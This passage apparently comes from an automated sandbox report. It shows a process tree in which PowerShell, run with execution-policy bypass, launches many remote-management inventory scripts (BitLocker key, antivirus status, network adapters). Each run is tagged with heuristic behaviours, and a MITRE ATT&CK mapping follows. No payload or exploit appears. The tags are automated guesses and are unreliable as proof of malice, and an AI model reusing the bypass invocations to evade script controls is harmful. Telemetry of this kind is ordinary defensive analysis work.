  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:4644
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Startup Programs_2032-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:5656
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Network Adapters_2029-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:3076
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Antivirus Status_2045-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  PID:5264
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disks Summary_2042-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:3084
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Applied GPO x0028RSoPx0029_2022-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:1240
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows 11 Hardware Compatibility_2065-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:1636
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\a55nuhwl\a55nuhwl.cmdline"
    3⤵
    PID:1528
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RESA8EE.tmp" "c:\Windows\Temp\a55nuhwl\CSC4E24BE57A9640A381FAC93DF8F68AFE.TMP"
      4⤵
      PID:1844
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\SCSI Controllers_2027-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:4804
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disk Partitions_2034-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:4784
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Connections to TCPx002FIP Addresses_2036-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:5092
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Windows Event Logs_2021-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:2980
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Bitlocker Key_2046-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:3844
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\WebP Vulnerability Status_2051-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:5348
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Logon Statistics_2013-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:5892
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Routing Tables_2028-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  PID:4044
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\MOVEit Vulnerability Status_2050-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:5732
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\Disk Drives_2016-1789648244.ps1"
  2⤵
  - Enumerates connected drives
  - Drops file in System32 directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  PID:1756

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery